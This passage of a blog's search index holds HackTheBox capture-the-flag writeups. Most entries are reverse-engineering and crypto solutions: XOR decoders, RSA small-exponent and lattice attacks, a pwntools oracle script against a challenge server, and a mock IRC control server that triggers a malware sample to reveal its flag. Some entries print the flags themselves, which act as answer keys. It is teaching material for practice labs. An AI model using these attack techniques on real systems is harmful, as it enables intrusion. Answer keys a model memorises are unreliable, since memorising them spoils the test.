Writeup"},{"categories":["machine"],"contents":"","date":"2025-01-27T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-EscapeTwo/","protected":true,"snippet":"Enter the password to unlock this machine writeup.","tags":["htb","windows","linux","active-directory","kerberos","smb","ldap"],"title":"HackTheBox EscapeTwo Writeup"},{"categories":["challenge"],"contents":"","date":"2025-01-27T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-NoMap3D-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","gamepwn","sdl"],"title":"HackTheBox NoMap3D Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-27T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-NoRadar-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","gamepwn","sdl"],"title":"HackTheBox NoRadar Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-24T00:23:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Bare-Metal-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Bare Metal Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-24T00:21:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Project-Power-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Project Power Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-24T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Bounty-Head-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal","cve-2017-7650"],"title":"HackTheBox Bounty Head Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-24T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Debugging-Interface-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","logic-analyzer","signal"],"title":"HackTheBox Debugging Interface Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-24T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Interstellar-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","web","sql-injection","ssrf","rce","php"],"title":"HackTheBox Interstellar Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-24T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Mission-Pinpossible-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","i2c","logic-analyzer","signal"],"title":"HackTheBox Mission Pinpossible Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-24T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-RFlag-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox RFlag Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/211\nDescription Flag? What's a flag?\nExploitation xxd -p anti_flag | tr -d \\\\n | sed s/eb28/9090/g | xxd -r -p \u0026gt; anti_flag_patched Summary Anti Flag: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Anti-Flag-Challenge/","protected":null,"snippet":"Anti Flag: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Anti Flag Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/44\nDescription Can you find the flag?\nExploitation piet\nnpiet art.png Summary Art: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Art-Challenge/","protected":null,"snippet":"Art: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Art Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/210\nDescription Give me the key and take what\u0026rsquo;s yours.\nExploitation #!/usr/bin/python3 a = [\u0026#39;H\u0026#39;, \u0026#39;T\u0026#39;, \u0026#39;B\u0026#39;] b = [0x3f, 0x64, 0x35] xor = [chr(ord(a[i]) ^ b[i]) for i in range(3)] key = \u0026#39;\u0026#39;.join(xor) print(key) run the program and send the result to retrieve the flag.\nSummary Baby Crypt: recover the XOR transform from the binary and invert it to reveal the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Baby-Crypt-Challenge/","protected":null,"snippet":"Baby Crypt: recover the XOR transform from the binary and invert it to reveal the flag.","tags":["htb","rev","xor","linux"],"title":"HackTheBox Baby Crypt Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/92\nDescription Show us your basic skills! (P.S. There are 4 ways to solve this, are you willing to try them all?)\nExploitation To retrieve the flag, you can choose one of the following methods:\nDecompile the binary and analyze the main function. Use ltrace to determine the correct strcmp value and run the program with the expected input. Execute the following command to extract and reconstruct the flag directly: objdump -D baby | grep -E \u0026#34;movabs.*0x|movl.*0x|movw.*0x\u0026#34; | grep -oE \u0026#34;0x[[:alnum:]]{4,16}\u0026#34; | while read -r line; do printf \u0026#34;%s\u0026#34; \u0026#34;${line:2}\u0026#34; | xxd -r -p | rev 2\u0026gt;/dev/null done Summary Baby RE: trace the binary, isolate the validation routine, and invert it to recover the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Baby-RE-Challenge/","protected":null,"snippet":"Baby RE: trace the binary, isolate the validation routine, and invert it to recover the flag.","tags":["htb","rev","elf","linux"],"title":"HackTheBox Baby RE Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/12\nDescription Find the Password and enter it in the form HTB{password}\nExploitation upx -d cake.exe Decopmile and look at main\nHTB{h@ckth3parad1$E}\nSummary Eat the Cake: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Eat-the-Cake-Challenge/","protected":null,"snippet":"Eat the Cake: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Eat the Cake! Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/453\nDescription My friend send me a encrypted message by using encryption bot. This is a important message. Can you decrypt the message for me?\nExploitation #!/usr/bin/python3 def decode(encoded): chars = \u0026#34;RSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQabcdefghijklmnopqrstuvwxyz\u0026#34; binary = \u0026#39;\u0026#39; for c in encoded: idx = chars.index(c) binary += format(idx, \u0026#39;06b\u0026#39;) flag = \u0026#39;\u0026#39; for i in range(0, len(binary), 8): chunk = binary[i:i+8] if len(chunk) == 8: flag += chr(int(chunk, 2)) return flag encrypted = \u0026#34;9W8TLp4k7t0vJW7n3VvMCpWq9WzT3C8pZ9Wz\u0026#34; print(f\u0026#34;Encrypted: {encrypted}\u0026#34;) print(f\u0026#34;Flag: {decode(encrypted)}\u0026#34;) Summary Encryption Bot: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Encryption-Bot-Challenge/","protected":null,"snippet":"Encryption Bot: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Encryption Bot Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/26\nDescription Are you able to cheat me and get the flag?\nExploitation XOR Decryption Analysis\nFunction Behavior\nTakes byte array as input XORs each byte with 9 Stops when: Encounters byte 9 Processes 20 bytes Decoding Example\n# Original hex string: A]Kr=9k0=0o0;k1?k81t Original: 41 5d 4b 72 3d 39 6b 30 3d 30 6f 30 3b 6b 31 3f 6b 38 31 74 XOR 9: 48 54 42 7b 34 30 62 39 34 39 66 39 32 62 38 36 62 31 38 7d ASCII: H T B { 4 0 b 9 4 9 f 9 2 b 8 6 b 1 8 } Decoded Result HTB{40b949f92b86b18}\nSummary Impossible Password: recover the XOR transform from the binary and invert it to reveal the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Impossible-Password-Challenge/","protected":null,"snippet":"Impossible Password: recover the XOR transform from the binary and invert it to reveal the flag.","tags":["htb","rev","xor","linux"],"title":"HackTheBox Impossible Password Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/478\nDescription As you deciphered the Matrix, you discovered that the astronomy scientist had observed that certain stars were not real. He had created two 5x5 matrices with values based on the time the stars were bright, but after some time, the stars stopped emitting light. Nonetheless, he had managed to capture every matrix until then and created an algorithm that simulated their generation. However, he could not understand what was hidden behind them as he was missing something. He believed that if he could understand the stars, he would be able to locate the secret tombs where the relic was hidden.\nExploitation #!/usr/bin/env python3 from pwn import * from sage.all import GF, Matrix from sympy.ntheory.modular import crt import sys def get_matrices(r): r.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;C\u0026#39;) r.recvline() ct = eval(r.recvline().strip().decode()) key = eval(r.recvline().strip().decode()) ct_list = [list(row) for row in ct] key_list = [list(row) for row in key] return [x for row in ct_list for x in row], [x for row in key_list for x in row] def solve_matrix(ct, key, p): try: ct_mat = Matrix(GF(p), 5, 5, ct) key_mat = Matrix(GF(p), 5, 5, key) result = ct_mat * key_mat.inverse() return [int(x) for x in result.list()] except: return None def solve_with_matrices(M_1, M_2, p1, p2): res = [] for i in range(len(M_1)): crt_result = int(crt([p1, p2], [M_1[i], M_2[i]])[0]) res.append(crt_result % 256) return \u0026#39;\u0026#39;.join(chr(x) for x in res) def main(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) port = int(port) except: print(\u0026#34;[-] Invalid ip:port format\u0026#34;) sys.exit(1) context.log_level = \u0026#39;critical\u0026#39; print(\u0026#34;[*] Starting...\u0026#34;) print(\u0026#34;[*] Getting samples...\u0026#34;) PRIMES = [17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61] try: r = remote(host, port) ct1, key1 = get_matrices(r) r.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;T\u0026#39;) ct2, key2 = get_matrices(r) print(\u0026#34;[*] Trying prime combinations...\u0026#34;) for p1 in PRIMES: M_1 = solve_matrix(ct1, key1, p1) if not M_1: continue for p2 in PRIMES: if p2 == p1: continue M_2 = solve_matrix(ct2, key2, p2) if not M_2: continue try: flag = solve_with_matrices(M_1, M_2, p1, p2) if \u0026#39;HTB{\u0026#39; in flag and \u0026#39;}\u0026#39; in flag: print(f\u0026#39;[+] Found with primes {p1}, {p2}:\u0026#39;) print(f\u0026#39;[+] Flag: {flag}\u0026#39;) r.close() return except: continue print(\u0026#34;[-] Could not find flag\u0026#34;) r.close() except Exception as e: print(f\u0026#34;[-] Error: {e}\u0026#34;) try: r.close() except: pass if __name__ == \u0026#39;__main__\u0026#39;: main() Summary Inside the Matrix: turn the RSA leak into a lattice recovery, rebuild the secret values, and decrypt the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Inside-the-Matrix-Challenge/","protected":null,"snippet":"Inside the Matrix: turn the RSA leak into a lattice recovery, rebuild the secret values, and decrypt the flag.","tags":["htb","crypto","rsa","lattice"],"title":"HackTheBox Inside the Matrix Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/212\nDescription During a routine check on our servers we found this suspicious binary, although when analyzing it we couldn\u0026rsquo;t get it to do anything. We assume it\u0026rsquo;s dead malware, but maybe something interesting can still be extracted from it?\nExploitation #!/usr/bin/env python3 from pwn import * def main(): try: l = listen(8000) print(\u0026#34;Listening on port 8000...\u0026#34;) conn = l.wait_for_connection() print(\u0026#34;Got connection!\u0026#34;) conn.settimeout(3) conn.sendline(b\u0026#39;NICK ircware_0411\u0026#39;) conn.sendline(b\u0026#39;USER ircware 0 * :ircware\u0026#39;) conn.sendline(b\u0026#39;JOIN #secret\u0026#39;) conn.sendline(b\u0026#39;PRIVMSG #secret :@pass ASS3MBLY\u0026#39;) conn.sendline(b\u0026#39;PRIVMSG #secret :@flag\u0026#39;) while True: try: line = conn.recvline().decode() print(line, end=\u0026#39;\u0026#39;) if \u0026#39;HTB{\u0026#39; in line: break except: break except Exception as e: print(f\u0026#34;Error: {e}\u0026#34;) finally: conn.close() if __name__ == \u0026#34;__main__\u0026#34;: main() Run the PoC, and then execute ircware to connect to the local service.\nSummary IRCWare: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-IRCWare-Challenge/","protected":null,"snippet":"IRCWare: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox IRCWare Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/341\nDescription Intrigued by the fact that you have found something your father made, and with much confidence that you can be useful to the team, you rush excitedly to integrate “Jenny” into the spaceship’s main operating system. For weeks, everything went smoothly, until you ran into a meteor storm. Having little to no data of training, the AI is now malfunctioning. Ulysses freaks out because he can no longer control the spaceship due to the AI overriding his manual commands. Big banging noises terrify your crew members. Everything is shaking. It’s time to act. Do you think you can temporarily shut down “Jenny” until she becomes more sophisticated?\nExploitation #!/usr/bin/env python3 from hashlib import sha256 import binascii def decrypt_block(eblock, block): pt = bytearray(32) for i in range(32): pt[i] = (eblock[i] - block[i] + 256) % 256 return bytes(pt) def main(): ct = bytes.fromhex(\u0026#39;d56591f1e1cbcb77c98473266bb8b3938db1ea6e8751604bced6ff262e954b8243e085580d650d757af55475e3a8e7030da53a5080a7c6a117e2537c4c8dcdfa9af11f91d12619caf796a4d12d0cbb085ca62b1dca39465a03ed967c10e944dd4f7bce176d1c81cefed8ec1316add4a1aead3a21199bdb4d84986f00bba5bfc6b899f065811c2b244d384ed93483ea3adc633fc267a072a3952657f1d8ec88a8335fe6a26589af63671bc00c4c8f2bb580d318cf8350dcc9257044ee4ffaffbe8391ac11c6bd224ea0a2cca4b4378b58e3c687ea7f80d1db46dfb4d842e1fd797c651646ea6651c53db8edd315a6204695bc35bc26e80b05284660b03068d9b0\u0026#39;) block0 = b\u0026#39;Command executed: cat secret.txt\u0026#39; px = bytearray() eblock0 = ct[:32] h = sha256(eblock0 + block0).digest() for ic in range(1, len(ct) // 32): cx0 = ct[ic*32:(ic+1)*32] px0 = decrypt_block(cx0, h) h = sha256(cx0 + px0).digest() px.extend(px0) print(px.decode()) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Jenny From The Block: reduce the hash constraint to a small search, test candidates, and recover the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Jenny-From-The-Block-Challenge/","protected":null,"snippet":"Jenny From The Block: reduce the hash constraint to a small search, test candidates, and recover the flag.","tags":["htb","crypto","hash"],"title":"HackTheBox Jenny From The Block Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/702\nDescription With injuries and illnesses escalating, the priority is clear: human lives take precedence. Before seeking hidden treasures, it is imperative to first treat the wounded ones. The resolute survivors learn through rumors about a hidden medical research facility known as the \u0026ldquo;BioMed Research Institute\u0026rdquo; reputed for its advanced treatments. They plan to locate and infiltrate the institute, intent on securing vital medications and medical equipment necessary to save the lives of their injured comrades. However, such a feat will not come easily. The facility is safeguarded by state-of-the-art security mechanisms known only to the government. The team must navigate several layers of doors to access the heart of the facility. Can you identify any vulnerability or hidden backdoor in this enigmatic security system?\nExploitation #!/usr/bin/env python3 from pwn import * from tqdm import tqdm import sys context.log_level = \u0026#39;error\u0026#39; def get_bit(r, i): for _ in range(30): r.sendline(str(i).encode()) r.recvline() r.recvline() b = int(r.recvline().split(b\u0026#39;= \u0026#39;)[1]) if b \u0026lt; 0 or b \u0026gt;= 256: return 1 return 0 def main(): if len(sys.argv) != 2: print(f\u0026#34;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) ip, port = sys.argv[1].split(\u0026#39;:\u0026#39;) r = remote(ip, int(port)) r.recvuntil(b\u0026#39;:\u0026#39;) r.sendline(b\u0026#39;9999\u0026#39;) m = int(r.recvline().split(b\u0026#39;[0, \u0026#39;)[1].split(b\u0026#39;]\u0026#39;)[0]) + 1 flag_bits = [] for i in tqdm(range(m), desc=\u0026#34;\\033[92mExtracting bits\\033[0m\u0026#34;, colour=\u0026#34;green\u0026#34;): bit = get_bit(r, i) flag_bits.append(str(bit)) flag = int(\u0026#39;\u0026#39;.join(flag_bits), 2).to_bytes((m+7)//8, \u0026#39;big\u0026#39;) print(f\u0026#34;\\033[92mFlag\\033[0m: {flag.decode()}\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary Living with Elegance: model the crypto leak, recover the missing secret, and decrypt the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Living-with-Elegance-Challenge/","protected":null,"snippet":"Living with Elegance: model the crypto leak, recover the missing secret, and decrypt the flag.","tags":["htb","crypto"],"title":"HackTheBox Living with Elegance Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/232\nDescription I encrypted a secret message with RSA but I lost the modulus. Can you help me recover it?\nExploitation #!/usr/bin/env python3 from Crypto.Util.number import long_to_bytes import gmpy2 def int_to_bytes(n): return n.to_bytes((n.bit_length() + 7) // 8, byteorder=\u0026#39;big\u0026#39;) def hex_to_int(hex_str): return int(hex_str, 16) def small_exponent_attack(ct_hex, e=3): ct = hex_to_int(ct_hex) root, is_perfect = gmpy2.iroot(ct, e) return int_to_bytes(root) def main(): encrypted_flag = \u0026#34;05c61636499a82088bf4388203a93e67bf046f8c49f62857681ec9aaaa40b4772933e0abc83e938c84ff8e67e5ad85bd6eca167585b0cc03eb1333b1b1462d9d7c25f44e53bcb568f0f05219c0147f7dc3cbad45dec2f34f03bcadcbba866dd0c566035c8122d68255ada7d18954ad604965\u0026#34; try: decrypted = small_exponent_attack(encrypted_flag) print(f\u0026#34;[+] Flag: {decrypted.decode()}\u0026#34;) except Exception as e: print(f\u0026#34;[-] Attack failed: {str(e)}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Lost Modulus: exploit the RSA structure, recover the missing secret, and decrypt the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Lost-Modulus-Challenge/","protected":null,"snippet":"Lost Modulus: exploit the RSA structure, recover the missing secret, and decrypt the flag.","tags":["htb","crypto","rsa"],"title":"HackTheBox Lost Modulus Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/234\nDescription Our astronaut gained access to a key satellite and intercepted an encrypted message. The forensics team also recovered a file that looks like a custom encryption protocol. We are sure that these two elements are linked. Please can you help us reveal the contents of the secret message?\nExploitation #!/usr/bin/env python3 def decrypt_character(char: int, flag: int) -\u0026gt; int: flag = flag ^ 0x4A if flag \u0026amp; 0b00010000: # XOR by 0x3E char ^= 0b00111110 if flag \u0026amp; 0b00001000: # XOR by 0x6B char ^= 0b01101011 if flag \u0026amp; 0b00000010: # Negate char = 255 - char if flag \u0026amp; 0b01000000: # Swap bytes THIS_MSB = (char \u0026gt;\u0026gt; 4) \u0026amp; 0b1111 THIS_LSB = char \u0026amp; 0b1111 char = ((THIS_LSB \u0026lt;\u0026lt; 4) ^ 0b11010000) | (THIS_MSB ^ 0b1011) return char def decrypt(ciphertext: str) -\u0026gt; str: pairs = [int(x) for x in ciphertext.split()] plaintext = \u0026#39;\u0026#39; for i in range(0, len(pairs), 2): char = pairs[i] flag = pairs[i + 1] decrypted = decrypt_character(char, flag) plaintext += chr(decrypted) return plaintext if __name__ == \u0026#34;__main__\u0026#34;: encrypted = \u0026#34;108 182 82 176 167 158 69 222 39 102 234 14 241 16 10 218 160 108 76 234 225 224 1 12 97 122 114 90 10 90 250 14 155 80 101 186 97 218 115 218 207 76 190 174 196 84 192 144\u0026#34; print(decrypt(encrypted)) Summary LunaCrypt: derive the XOR key stream, invert the transform, and recover the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-LunaCrypt-Challenge/","protected":null,"snippet":"LunaCrypt: derive the XOR key stream, invert the transform, and recover the flag.","tags":["htb","crypto","xor"],"title":"HackTheBox LunaCrypt Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/628\nDescription After successfully obtaining the research papers by extracting the encryption key, a new obstacle arises. The essential information regarding potential cures, including formulas and test results, is shielded by another layer of encryption. Can you overcome this additional challenge to reveal the final formula, enabling you to initiate the cure creation process?\nExploitation #!/usr/bin/env python3 from Crypto.Util.number import * from sage.all import * def decrypt_rsa(): N = 0x8415befe8ed2f11bc9980dca665d9f011ca1993cac84cbfa19b5b467ad66719eb5dca91f802d3cedd78395b3f94b7f937af8bd0789601b7b68f62e833d1304f2e49058e024a2fc60611017466dcc07c67121604f04d700a15a2e6d2bd146a433b004905c76e543bf1ad3cc26536592bb27081e77c39728535c8d44294dcf28d2199bc1f96ccebe018d12cc8660804f88555887208d4685465ffaa6433e8c0c6bbed3d8ce3f10e1b15962811246292dd9f52728f94a520449db79c9f1cf056d0600dbeb32f6206f9e80ad76570433f4c58fc46c33aa5f1dd7082fdbd2b92981f290d2fca9c135b2cd3d12e794da78f10f8548df11858e2c79af9218e97f09c1a1 e = 0x447a951fc908492e818cad6d6f0ab1b0212b57f952575e391bec5ad43 c = 0x23e6597702fba920abcbd5502b4102c0d88c9cac2186231444f4f23bf3e721031bb45cff4fa7dc325c9fc6d7fd51a216afa2161478e8e6610c350c9d5568506c8c94d0385cc77565b402db266e73e301473c0aa5149e920b66e3c81391b488812ef42a451d3003d1ba9d18befbdc38adfb5ca8f67a098ffb86e6aaa1230be7bc54fbade19f2f6d273f62ce07d92aa0356b979f108135c8fb33c77bd6b4eb07cce383f82ae3693feb1ebe3370974db1ae05919661558ce637c922caceb295a5c7717f5fdfd353d6b3b05113194fea4573b7a205ae0c2b034997d1bbbf1eee029499d7116b75413558d09a57b74315b45a9f17b2099dd647da1d63ccb5cb92cb2e dp = 0xc8c6f6c4408d9d34b18948d976313329f4e09e722df217fe8dbd0684dbe52bccdcf4de9e6697d788601d753221886b1bc689e68e9745d1297a39cdd2de9bdcdf dq = 0x230ba63327b3480c4cf80369f10af726baacf61e631b07178d5aa62dc4b9017b30bf28c5ada9486817d71f0587dd23eea5162ff60880eb0cf7f866c695e1b369 A = (2**1024 * e**2 * dp * dq) // N + 1 PR = PolynomialRing(Zmod(e), \u0026#39;x\u0026#39;) x = PR.gen() f = x**2 - (1 - A*(N - 1))*x + A k, l = [int(c[0]) for c in f.roots()] PR_kN = PolynomialRing(Zmod(k*N), \u0026#39;x\u0026#39;) x = PR_kN.gen() a = ((e*dp*2**512 + k - 1) * pow(e, -1, k * N)) % (k * N) g = x + a dp_low = int(g.small_roots(X=2**512, beta=0.5)[0]) kp = int(g(dp_low)) p = gcd(kp, N) q = N // p assert p * q == N d = pow(e, -1, (p - 1)*(q - 1)) m = pow(c, d, N) return long_to_bytes(int(m)) if __name__ == \u0026#39;__main__\u0026#39;: try: flag = decrypt_rsa() print(f\u0026#34;\\033[92mDecrypted Flag\\033[0m: {flag.decode()}\u0026#34;) except Exception as e: print(f\u0026#34;\\033[91mError\\033[0m: {str(e)}\u0026#34;) Summary Mayday Mayday: model the leak as a small lattice problem, recover the secret, and verify the flag.\n","date":"2025-01-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Mayday-Mayday-Challenge/","protected":null,"snippet":"Mayday Mayday: model the leak as a small lattice problem, recover the secret, and verify the flag.","tags":["htb","crypto","lattice"],"title":"HackTheBox Mayday Mayday Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/695\nDescription You come across an enemy faction, who have banded together and gathered their resources. You\u0026rsquo;ll need to outwit them, thinking outside the box - can you beat them before they even begin to run?\nExploitation #!/usr/bin/env python3 from z3 import * s = Solver() flag = [BitVec(f\u0026#39;flag_{i}\u0026#39;, 32) for i in range(40)] for i in range(len(flag)): s.add(flag[i] \u0026gt;= 33) s.add(flag[i] \u0026lt;= 127) payload = \u0026#39;lIlIIIIl(8, 0, 2769503260), lIlIIIIl(10, 0, 997841014), lIlIIIIl(19, 12, 11), lIlIIIIl(2, 0, 4065997671), lIlIIIIl(5, 13, 11), lIlIIIIl(8, 0, 690011675), lIlIIIIl(15, 11, 11), lIlIIIIl(8, 0, 540576667), lIlIIIIl(2, 0, 1618285201), lIlIIIIl(8, 0, 1123989331), lIlIIIIl(8, 0, 1914950564), lIlIIIIl(8, 0, 4213669998), lIlIIIIl(21, 13, 11), lIlIIIIl(8, 0, 1529621790), lIlIIIIl(10, 0, 865446746), lIlIIIIl(2, 10, 11), lIlIIIIl(8, 0, 449019059), lIlIIIIl(16, 13, 11), lIlIIIIl(8, 0, 906976959), lIlIIIIl(6, 10, 10), lIlIIIIl(8, 0, 892028723), lIlIIIIl(10, 0, 1040131328), lIlIIIIl(2, 0, 3854135066), lIlIIIIl(2, 0, 4133925041), lIlIIIIl(2, 0, 1738396966), lIlIIIIl(2, 12, 12), lIlIIIIl(8, 0, 550277338), lIlIIIIl(10, 0, 1043160697), lIlIIIIl(2, 1, 1176768057), lIlIIIIl(10, 1, 2368952475), lIlIIIIl(8, 12, 11), lIlIIIIl(2, 1, 2826144967), lIlIIIIl(8, 1, 1275301297), lIlIIIIl(10, 1, 2955899422), lIlIIIIl(2, 1, 2241699318), lIlIIIIl(12, 11, 10), lIlIIIIl(8, 1, 537794314), lIlIIIIl(11, 13, 10), lIlIIIIl(8, 1, 473021534), lIlIIIIl(17, 12, 13), lIlIIIIl(8, 1, 2381227371), lIlIIIIl(10, 1, 3973380876), lIlIIIIl(10, 1, 1728990628), lIlIIIIl(6, 11, 13), lIlIIIIl(8, 1, 2974252696), lIlIIIIl(0, 11, 11), lIlIIIIl(8, 1, 1912236055), lIlIIIIl(2, 1, 3620744853), lIlIIIIl(3, 10, 13), lIlIIIIl(2, 1, 2628426447), lIlIIIIl(11, 13, 12), lIlIIIIl(10, 1, 486914414), lIlIIIIl(16, 11, 12), lIlIIIIl(10, 1, 1187047173), lIlIIIIl(14, 12, 11), lIlIIIIl(2, 2, 3103274804), lIlIIIIl(13, 10, 10), lIlIIIIl(8, 2, 3320200805), lIlIIIIl(8, 2, 3846589389), lIlIIIIl(1, 13, 13), lIlIIIIl(2, 2, 2724573159), lIlIIIIl(10, 2, 1483327425), lIlIIIIl(2, 2, 1957985324), lIlIIIIl(14, 13, 12), lIlIIIIl(10, 2, 1467602691), lIlIIIIl(8, 2, 3142557962), lIlIIIIl(2, 13, 12), lIlIIIIl(2, 2, 2525769395), lIlIIIIl(8, 2, 3681119483), lIlIIIIl(8, 12, 11), lIlIIIIl(10, 2, 1041439413), lIlIIIIl(10, 2, 1042206298), lIlIIIIl(2, 2, 527001246), lIlIIIIl(20, 10, 13), lIlIIIIl(10, 2, 855860613), lIlIIIIl(8, 10, 10), lIlIIIIl(8, 2, 1865979270), lIlIIIIl(1, 13, 10), lIlIIIIl(8, 2, 2752636085), lIlIIIIl(2, 2, 1389650363), lIlIIIIl(10, 2, 2721642985), lIlIIIIl(18, 10, 11), lIlIIIIl(8, 2, 3276518041), lIlIIIIl(15, 10, 10), lIlIIIIl(2, 2, 1965130376), lIlIIIIl(2, 3, 3557111558), lIlIIIIl(2, 3, 3031574352), lIlIIIIl(16, 12, 10), lIlIIIIl(10, 3, 4226755821), lIlIIIIl(8, 3, 2624879637), lIlIIIIl(8, 3, 1381275708), lIlIIIIl(2, 3, 3310620882), lIlIIIIl(2, 3, 2475591380), lIlIIIIl(8, 3, 405408383), lIlIIIIl(2, 3, 2291319543), lIlIIIIl(0, 12, 12), lIlIIIIl(8, 3, 4144538489), lIlIIIIl(2, 3, 3878256896), lIlIIIIl(6, 11, 10), lIlIIIIl(10, 3, 2243529248), lIlIIIIl(10, 3, 561931268), lIlIIIIl(11, 11, 12), lIlIIIIl(10, 3, 3076955709), lIlIIIIl(18, 12, 13), lIlIIIIl(8, 3, 2019584073), lIlIIIIl(10, 13, 12), lIlIIIIl(8, 3, 1712479912), lIlIIIIl(18, 11, 11), lIlIIIIl(2, 3, 2804447380), lIlIIIIl(17, 10, 10), lIlIIIIl(10, 3, 2957126100), lIlIIIIl(18, 13, 13), lIlIIIIl(8, 3, 1368187437), lIlIIIIl(17, 10, 12), lIlIIIIl(8, 3, 3586129298), lIlIIIIl(10, 4, 1229526732), lIlIIIIl(19, 11, 11), lIlIIIIl(10, 4, 2759768797), lIlIIIIl(1, 10, 13), lIlIIIIl(2, 4, 2112449396), lIlIIIIl(10, 4, 1212917601), lIlIIIIl(2, 4, 1524771736), lIlIIIIl(8, 4, 3146530277), lIlIIIIl(2, 4, 2997906889), lIlIIIIl(16, 12, 10), lIlIIIIl(8, 4, 4135691751), lIlIIIIl(8, 4, 1960868242), lIlIIIIl(6, 12, 12), lIlIIIIl(10, 4, 2775657353), lIlIIIIl(16, 10, 13), lIlIIIIl(8, 4, 1451259226), lIlIIIIl(8, 4, 607382171), lIlIIIIl(13, 13, 13), lIlIIIIl(10, 4, 357643050), lIlIIIIl(2, 4, 2020402776), lIlIIIIl(8, 5, 2408165152), 